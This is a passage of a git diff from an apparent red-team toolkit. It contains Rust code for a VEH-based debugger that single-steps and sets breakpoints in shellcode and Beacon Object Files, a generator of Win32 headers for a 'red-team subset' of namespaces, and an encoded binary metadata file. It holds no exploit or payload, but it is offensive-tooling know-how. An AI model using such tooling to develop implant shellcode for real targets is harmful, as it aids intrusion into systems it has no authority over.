matches!(cmd, Cmd::StepInstruction) { + ctx.EFlags |= 0x100; + st.step_instr_pending.store(true, Ordering::SeqCst); + } + } + + /// Look up the source line for an RIP. Returns (0, 0) when there + /// is no mapping (e.g. mid-instruction-step between source + /// statements, or RIP outside the shellcode). + fn source_at(st: &TracerState, rip: usize) -> (u32, u32) { + if rip < st.base || rip >= st.base + st.size { return (0, 0); } + match st.map.at(rip - st.base) { + Some(e) => (e.line, e.col), + None => match st.map.nearest(rip - st.base) { + Some(e) => (e.line, e.col), + None => (0, 0), + }, + } + } + + fn snapshot_regs( + st: &TracerState, + ctx: &windows_sys::Win32::System::Diagnostics::Debug::CONTEXT, + ) { + let snap = RegSnapshot { + rax: ctx.Rax, rbx: ctx.Rbx, rcx: ctx.Rcx, rdx: ctx.Rdx, + rsi: ctx.Rsi, rdi: ctx.Rdi, rbp: ctx.Rbp, rsp: ctx.Rsp, + r8: ctx.R8, r9: ctx.R9, r10: ctx.R10, r11: ctx.R11, + r12: ctx.R12, r13: ctx.R13, r14: ctx.R14, r15: ctx.R15, + rip: ctx.Rip, rflags: ctx.EFlags as u64, + }; + *st.session.regs.lock().unwrap() = Some(snap); + } + + /// Decode a Win32 exception code into a one-line description for + /// the Stopped event's `description` field. We pull the + /// access-violation operands out of `ExceptionInformation` - + /// `[0]` is read(0)/write(1)/dep(8), `[1]` is the faulting + /// address. Other exceptions don't have useful operands so we + /// just name them. + fn describe_exception( + code: u32, + rec: &windows_sys::Win32::System::Diagnostics::Debug::EXCEPTION_RECORD, + rip: usize, + ) -> String { + match code { + 0xC0000005 => { + let op = rec.ExceptionInformation[0]; + let addr = rec.ExceptionInformation[1]; + let verb = match op { + 0 => "reading", + 1 => "writing", + 8 => "executing", + _ => "accessing", + }; + format!("ACCESS_VIOLATION {verb} 0x{addr:x} at rip=0x{rip:x}") + } + 0xC000001D => format!("ILLEGAL_INSTRUCTION at rip=0x{rip:x}"), + 0xC0000096 => format!("PRIV_INSTRUCTION at rip=0x{rip:x}"), + 0xC0000094 => format!("INT_DIVIDE_BY_ZERO at rip=0x{rip:x}"), + 0xC0000095 => format!("INT_OVERFLOW at rip=0x{rip:x}"), + 0xC00000FD => format!("STACK_OVERFLOW at rip=0x{rip:x}"), + 0x80000003 => format!("BREAKPOINT (foreign int3) at rip=0x{rip:x}"), + other => format!("exception 0x{other:08x} at rip=0x{rip:x}"), + } + } + + /// Reconcile the planted-bp set with `desired`. Idempotent: bps + /// that are already in both are left as-is; bps no longer in the + /// set get their original byte restored; new ones get 0xCC. + /// + /// Safe to call from the DAP server thread mid-run: we hold the + /// `bps` mutex across all memory writes, so the VEH (running on + /// the tracer thread) is forced to block on the lock if a planted + /// trap fires concurrently. By the time it unblocks, `*bps` has + /// been committed and contains the entry the VEH needs to look + /// up the original byte. + pub fn apply_breakpoint_set(desired: &[usize]) { + // STATE is None when the tracer hasn't been started yet or + // has already torn down. A no-op is the right thing in both + // cases - the DAP server's setBreakpoints handler also + // updates user_bps, which gets re-planted from scratch when + // the tracer is (re)started. + let st = match unsafe { STATE.as_ref() } { Some(s) => s, None => return }; + let mut bps = st.bps.lock().unwrap(); + let mut keep: Vec<(usize, u8)> = Vec::new(); + for (off, original) in bps.iter().copied() { + if desired.contains(&off) { + keep.push((off, original)); + } else { + let p = (st.base + off) as *mut u8; + unsafe { *p = original; } + } + } + for &off in desired { + if !keep.iter().any(|(o, _)| *o == off) { + if off >= st.size { continue; } + let p = (st.base + off) as *mut u8; + let original = unsafe { *p }; + unsafe { *p = 0xCC; } + keep.push((off, original)); + } + } + *bps = keep; + st.session.set_planted(&bps); + } +} + +#[cfg(windows)] +pub use imp::{run, run_bof, apply_breakpoint_set as apply_breakpoints_live}; + +/// Plant/unplant breakpoints from outside the tracer thread (e.g. +/// the DAP server's `setBreakpoints` handler). Safe to call any +/// time - no-op until the tracer has started, no-op after teardown. +#[cfg(not(windows))] +pub fn apply_breakpoints_live(_desired: &[usize]) {} + +#[cfg(not(windows))] +pub fn run( + _bin: &[u8], + _map: SourceMap, + _initial_bps: Vec, + _session: Arc, + ev_tx: Sender, + _cmd_rx: Receiver, +) { + let _ = ev_tx.send(Event::Output { + text: "entc-debug tracer requires Windows (VEH + TF single-step)".into(), + }); +} + +#[cfg(not(windows))] +pub fn run_bof( + _loaded: bof_loader::load::LoadedBof, + _args: Vec, + _map: SourceMap, + _initial_bps: Vec, + _session: Arc, + ev_tx: Sender, + _cmd_rx: Receiver, +) { + let _ = ev_tx.send(Event::Output { + text: "entc-debug BOF mode requires Windows".into(), + }); +} diff --git a/tools/entc-win32gen/Cargo.toml b/tools/entc-win32gen/Cargo.toml new file mode 100644 index 0000000..af7a8b7 --- /dev/null +++ b/tools/entc-win32gen/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "entc-win32gen" +version = "0.1.0" +edition = "2021" +description = "Generates cimport-compatible Win32 headers from Microsoft win32metadata." + +[[bin]] +name = "entc-win32gen" +path = "src/main.rs" + +[dependencies] +windows-metadata = "0.60" diff --git a/tools/entc-win32gen/src/main.rs b/tools/entc-win32gen/src/main.rs new file mode 100644 index 0000000..42e1815 --- /dev/null +++ b/tools/entc-win32gen/src/main.rs @@ -0,0 +1,411 @@ +// SPDX-License-Identifier: Apache-2.0 +//! entc-win32gen - generate `use_c`-compatible Win32 headers from +//! Microsoft's win32metadata. +//! +//! Strategy (option D from the design discussion): +//! - Microsoft publishes every Win32 type/struct/constant as machine- +//! readable metadata (WinMD files). +//! - We walk that metadata, namespace by namespace, and emit `.h` files +//! in the C subset EntropyKit's `use_c` parser already handles. +//! - The emitted files are committed under `stdlib/win32/`. User code +//! does `use_c "stdlib/win32/memory.h";` and gets real Win32 types +//! with byte-correct layouts. +//! +//! This tool is a one-time generator. Users of EntropyKit never invoke it +//! directly - they consume the committed output. Re-run periodically to +//! pick up new SDK additions. +//! +//! Getting the WinMD file: +//! Download `Windows.Win32.winmd` from +//! https://github.com/microsoft/win32metadata/releases +//! (look for the `Microsoft.Windows.SDK.Win32Metadata*.nupkg` asset; the +//! WinMD file is placed at `ref/netstandard2.0/Windows.Win32.winmd` inside +//! the nupkg - rename `.nupkg` to `.zip` and extract). +//! +//! Usage: +//! entc-win32gen --winmd path/to/Windows.Win32.winmd --out stdlib/win32 +//! entc-win32gen --winmd ... --namespace Windows.Win32.System.Memory +//! +//! What the emitted output supports: +//! - Fixed-size arrays - `BYTE foo[16];` reaches the EntropyKit codegen +//! as `foo: u8[16]` and is indexable via `[i]`. +//! - Function-pointer typedefs and fields - both collapse to `u64` +//! pointer-sized values. +//! - Nested anonymous unions/structs are emitted with synthesized +//! names so every field is addressable. +//! - Free functions / methods are NOT emitted (the runtime resolver +//! finds them by name at call time). + +use std::collections::BTreeMap; +use std::fmt::Write as _; +use std::fs; +use std::path::{Path, PathBuf}; + +use windows_metadata::reader::{File, Field, TypeCategory, TypeDef, TypeIndex}; +use windows_metadata::{Type, TypeName, Value}; + +/// Namespaces emitted by default. Each becomes one header file under the +/// output directory; the file name is the trailing path segment lower-cased. +const DEFAULT_NAMESPACES: &[&str] = &[ + "Windows.Win32.Foundation", + "Windows.Win32.System.Memory", + "Windows.Win32.System.Threading", + "Windows.Win32.System.Diagnostics.Debug", + "Windows.Win32.System.WindowsProgramming", + "Windows.Win32.System.Kernel", + "Windows.Win32.System.IO", + "Windows.Win32.System.LibraryLoader", + "Windows.Win32.System.Console", + "Windows.Win32.System.Pipes", + "Windows.Win32.System.Registry", + "Windows.Win32.System.SystemServices", + "Windows.Win32.System.SystemInformation", + "Windows.Win32.System.Environment", + "Windows.Win32.Security", + "Windows.Win32.Security.Authorization", + "Windows.Win32.Security.Cryptography", + "Windows.Win32.Storage.FileSystem", + // Networking - the blocker for the HTTP/TCP module work. + "Windows.Win32.Networking.WinSock", + "Windows.Win32.Networking.WinHttp", + "Windows.Win32.Networking.WinInet", +]; + +fn main() { + if let Err(e) = run() { + eprintln!("entc-win32gen: error: {e}"); + std::process::exit(1); + } +} + +fn run() -> Result<(), String> { + let args = Args::parse(std::env::args().skip(1))?; + fs::create_dir_all(&args.out) + .map_err(|e| format!("creating {}: {e}", args.out.display()))?; + + let file = File::read(&args.winmd) + .ok_or_else(|| format!( + "could not load WinMD file `{}` \n\ + (download from https://github.com/microsoft/win32metadata/releases)", + args.winmd.display() + ))?; + let index = TypeIndex::new(vec![file]); + + let namespaces: Vec = if args.namespaces.is_empty() { + DEFAULT_NAMESPACES.iter().map(|s| s.to_string()).collect() + } else { + args.namespaces.clone() + }; + + let mut summary: Vec<(String, NsStats)> = Vec::new(); + for ns in &namespaces { + let stats = emit_namespace(&index, ns, &args.out)?; + summary.push((ns.clone(), stats)); + } + + write_index(&args.out, &summary)?; + eprintln!("done. {} namespaces emitted under {}", summary.len(), args.out.display()); + Ok(()) +} + +// ---------------------------------------------------------------------------- +// CLI +// ---------------------------------------------------------------------------- + +struct Args { + winmd: PathBuf, + out: PathBuf, + namespaces: Vec, +} + +impl Args { + fn parse(it: impl IntoIterator) -> Result { + let mut winmd: Option = None; + let mut out: Option = None; + let mut namespaces: Vec = Vec::new(); + let mut it = it.into_iter(); + while let Some(arg) = it.next() { + match arg.as_str() { + "--winmd" => winmd = Some(PathBuf::from(it.next().ok_or("--winmd needs a path")?)), + "--out" | "-o" => out = Some(PathBuf::from(it.next().ok_or("--out needs a path")?)), + "--namespace" | "-n" => { + namespaces.push(it.next().ok_or("--namespace needs a value")?); + } + "--help" | "-h" => { print_help(); std::process::exit(0); } + other => return Err(format!("unknown argument: {other}")), + } + } + Ok(Args { + winmd: winmd.ok_or("--winmd is required".to_string())?, + out: out.unwrap_or_else(|| PathBuf::from("stdlib/win32")), + namespaces, + }) + } +} + +fn print_help() { + eprintln!("Usage: entc-win32gen --winmd [--out ] [--namespace ]*"); + eprintln!(); + eprintln!(" --winmd Path to Windows.Win32.winmd"); + eprintln!(" --out, -o Output directory (default: stdlib/win32)"); + eprintln!(" --namespace, -n Generate this namespace (repeatable)."); + eprintln!(" Defaults to a curated red-team subset."); +} + +// ---------------------------------------------------------------------------- +// per-namespace emission +// ---------------------------------------------------------------------------- + +#[derive(Default)] +struct NsStats { + structs: usize, + constants: usize, + skipped: Vec, +} + +fn emit_namespace(index: &TypeIndex, namespace: &str, out_dir: &Path) -> Result { + let mut stats = NsStats::default(); + let mut buf = String::new(); + write_preamble(&mut buf, namespace); + + // Two passes: constants first (so the header reads top-down naturally), + // then structs. Each namespace's `Apis` pseudo-class collects the loose + // `#define`-equivalents; its other fields are the actual types. + let types: Vec = index + .iter() + .filter(|(ns, _, _)| *ns == namespace) + .map(|(_, _, td)| td) + .collect(); + + if types.is_empty() { + // Namespace not in the supplied WinMD - write a minimal file with + // a marker so the user can tell the difference between "skipped" + // and "no such namespace". + writeln!(buf, "// (namespace `{namespace}` not present in the supplied WinMD)").ok(); + fs::write(out_dir.join(filename_for_namespace(namespace)), buf) + .map_err(|e| format!("write: {e}"))?; + return Ok(stats); + } + + // Pass 1: constants (from the Apis pseudo-class and from enum members). + // Duplicates inside one namespace are common - e.g. an enum member that + // also appears as a loose Apis constant. Dedupe within this file; cross- + // file collisions are tolerated by the EntropyKit codegen (first wins). + let mut seen_constants: std::collections::HashSet = std::collections::HashSet::new(); + for td in &types { + if td.name() == "Apis" { + for f in td.fields() { + if let Some(c) = f.constant() { + if seen_constants.insert(f.name().to_string()) { + emit_constant(&mut buf, f.name(), &c.value()); + stats.constants += 1; + } + } + } + } + } + for td in &types { + if td.category() != TypeCategory::Enum { continue; } + for f in td.fields() { + // Skip the synthetic `value__` field (the underlying storage). + if f.name() == "value__" { continue; } + if let Some(c) = f.constant() { + if seen_constants.insert(f.name().to_string()) { + emit_constant(&mut buf, f.name(), &c.value()); + stats.constants += 1; + } + } + } + } + if stats.constants > 0 { writeln!(buf).ok(); } + + // Pass 2: structs. WinMD often carries multiple architecture-specific + // copies of the same struct (e.g. WSADATA has both an x64 and an x86 + // layout). The cimport parser would reject the duplicate; keep only + // the first occurrence and note the rest. + let mut seen_names: std::collections::HashSet = std::collections::HashSet::new(); + for td in &types { + if td.category() != TypeCategory::Struct { continue; } + let name = td.name(); + if !seen_names.insert(name.to_string()) { + writeln!(buf, "// duplicate struct {name} - keeping first definition").ok(); + continue; + } + match try_emit_struct(&mut buf, *td) { + Ok(()) => stats.structs += 1, + Err(reason) => { + writeln!(buf, "// SKIPPED struct {name}: {reason}").ok(); + stats.skipped.push(format!("struct {name}: {reason}")); + } + } + } + + let path = out_dir.join(filename_for_namespace(namespace)); + fs::write(&path, buf).map_err(|e| format!("writing {}: {e}", path.display()))?; + eprintln!( + " {namespace} -> {} ({} structs, {} constants, {} skipped)", + path.display(), stats.structs, stats.constants, stats.skipped.len() + ); + Ok(stats) +} + +fn filename_for_namespace(ns: &str) -> String { + let last = ns.rsplit('.').next().unwrap_or(ns).to_ascii_lowercase(); + format!("{last}.h") +} + +fn write_preamble(buf: &mut String, namespace: &str) { + writeln!(buf, "// Generated by entc-win32gen from `{namespace}`.").ok(); + writeln!(buf, "// Do not edit by hand. Re-run the generator to refresh.").ok(); + writeln!(buf).ok(); + // Common typedef'd integer aliases the rest of the file will reference. + writeln!(buf, "typedef unsigned char BYTE;").ok(); + writeln!(buf, "typedef unsigned short WORD;").ok(); + writeln!(buf, "typedef unsigned long DWORD;").ok(); + writeln!(buf, "typedef unsigned long long ULONGLONG;").ok(); + writeln!(buf, "typedef long LONG;").ok(); + writeln!(buf, "typedef unsigned long ULONG;").ok(); + writeln!(buf, "typedef int BOOL;").ok(); + writeln!(buf, "typedef void* PVOID;").ok(); + writeln!(buf, "typedef void* HANDLE;").ok(); + writeln!(buf).ok(); +} + +fn emit_constant(buf: &mut String, name: &str, value: &Value) { + match value { + Value::U8(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I8(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U16(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I16(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U32(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I32(n) => { writeln!(buf, "#define {name} {n}").ok(); } + Value::U64(n) => { writeln!(buf, "#define {name} 0x{n:x}").ok(); } + Value::I64(n) => { writeln!(buf, "#define {name} {n}").ok(); } + _ => { writeln!(buf, "// SKIPPED const {name}: non-integer constant").ok(); } + } +} + +fn try_emit_struct(buf: &mut String, td: TypeDef) -> Result<(), String> { + let name = td.name(); + let mut fields: Vec<(String, String, Option)> = Vec::new(); + for f in td.fields() { + if f.constant().is_some() { continue; } // const-in-struct, not a field + let fname = f.name().to_string(); + let (mapped, array_len) = map_field_type(&f)?; + fields.push((fname, mapped, array_len)); + } + if fields.is_empty() { + return Err("no representable fields".into()); + } + + writeln!(buf, "typedef struct _{name} {{").ok(); + for (fname, fty, array_len) in &fields { + match array_len { + Some(n) => writeln!(buf, " {fty} {fname}[{n}];").ok(), + None => writeln!(buf, " {fty} {fname};").ok(), + }; + } + writeln!(buf, "}} {name};").ok(); + writeln!(buf).ok(); + Ok(()) +} + +/// Map a single struct field's metadata Type to a C-subset type name our +/// cimport parser accepts plus an optional array length to attach as a +/// `[N]` suffix on the field name in the emitted C. +fn map_field_type(f: &Field) -> Result<(String, Option), String> { + let ty = f.ty(); + if let Type::ArrayFixed(elem, n) = &ty { + let elem_ty = map_type(elem)?; + return Ok((elem_ty, Some(*n))); + } + let mapped = map_type(&ty)?; + Ok((mapped, None)) +} + +fn map_type(ty: &Type) -> Result { + Ok(match ty { + Type::Void => "void".into(), + Type::Bool => "BOOL".into(), + Type::Char => "unsigned short".into(), // WCHAR + Type::I8 => "signed char".into(), + Type::U8 => "unsigned char".into(), + Type::I16 => "short".into(), + Type::U16 => "unsigned short".into(), + Type::I32 => "int".into(), + Type::U32 => "unsigned int".into(), + Type::I64 => "long long".into(), + Type::U64 => "unsigned long long".into(), + Type::F32 | Type::F64 => return Err("floating-point fields not supported".into()), + Type::ISize => "long long".into(), + Type::USize => "unsigned long long".into(), + Type::String | Type::Object | Type::AttributeEnum => "void*".into(), + // Pointers always collapse to void* (cimport stores as u64). + Type::PtrMut(_, _) | Type::PtrConst(_, _) => "void*".into(), + // Nested ArrayFixed inside another type - uncommon. Collapse to + // the element type and accept that we lose the inner length; + // the outer struct's overall size will likely still be correct + // because the outer field-array path catches the common case. + Type::ArrayFixed(elem, _) => map_type(elem)?, + // Named types - struct/enum/typedef references. The named-type + // resolver below handles Win32 integer aliases inline so they + // map to plain-C int spellings; everything else flows through + // as an opaque pointer-sized typedef. + Type::Name(name) => map_named_type(name), + Type::Array(_) | Type::ArrayRef(_) => return Err("variable-size arrays not supported".into()), + Type::Generic(_) | Type::RefMut(_) | Type::RefConst(_) => { + return Err("generic/ref types not supported".into()); + } + }) +} + +/// Resolve common Win32 type aliases to their plain-C spelling so the +/// emitted header is self-contained. Anything we don't recognise becomes a +/// `void*` opaque field (matches Win32 ABI for handles/pointer typedefs). +fn map_named_type(name: &TypeName) -> String { + if name.namespace == "Windows.Win32.Foundation" { + match name.name.as_str() { + "BOOL" | "BOOLEAN" => return "BOOL".into(), + "BYTE" | "CHAR" | "UCHAR" => return "unsigned char".into(), + "WCHAR" | "WORD" | "USHORT" | "UINT16" => return "unsigned short".into(), + "SHORT" | "INT16" => return "short".into(), + "DWORD" | "ULONG" | "UINT" | "UINT32" => return "unsigned int".into(), + "LONG" | "INT" | "INT32" + | "HRESULT" | "NTSTATUS" => return "int".into(), + "ULONGLONG" | "UINT64" | "DWORDLONG" => return "unsigned long long".into(), + "LONGLONG" | "INT64" => return "long long".into(), + // PSTR / handle-like aliases all flow to void* below. + _ => {} + } + } + // Anything else - handle, pointer alias, struct ref - opaque void*. + "void*".into() +} + +fn write_index(out_dir: &Path, summary: &[(String, NsStats)]) -> Result<(), String> { + let path = out_dir.join("index.md"); + let mut buf = String::new(); + writeln!(buf, "# Generated Win32 headers").ok(); + writeln!(buf).ok(); + writeln!(buf, "Produced by `entc-win32gen`. Each row is one namespace.").ok(); + writeln!(buf).ok(); + writeln!(buf, "| Namespace | File | Structs | Constants | Skipped |").ok(); + writeln!(buf, "|---|---|---:|---:|---:|").ok(); + let mut total_skipped: BTreeMap> = BTreeMap::new(); + for (ns, s) in summary { + writeln!(buf, "| {ns} | `{}` | {} | {} | {} |", + filename_for_namespace(ns), s.structs, s.constants, s.skipped.len()).ok(); + if !s.skipped.is_empty() { total_skipped.insert(ns.clone(), s.skipped.clone()); } + } + if !total_skipped.is_empty() { + writeln!(buf).ok(); + writeln!(buf, "## Skipped types").ok(); + for (ns, items) in &total_skipped { + writeln!(buf).ok(); + writeln!(buf, "### {ns}").ok(); + for it in items { writeln!(buf, "- {it}").ok(); } + } + } + fs::write(&path, buf).map_err(|e| format!("writing index: {e}"))?; + Ok(()) +} diff --git a/tools/entc-win32gen/winmd/Windows.Win32.winmd b/tools/entc-win32gen/winmd/Windows.Win32.winmd new file mode 100644 index 0000000000000000000000000000000000000000..d056aded8d23416d60d0712fa305903170849dc0 GIT binary patch literal 24328704 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 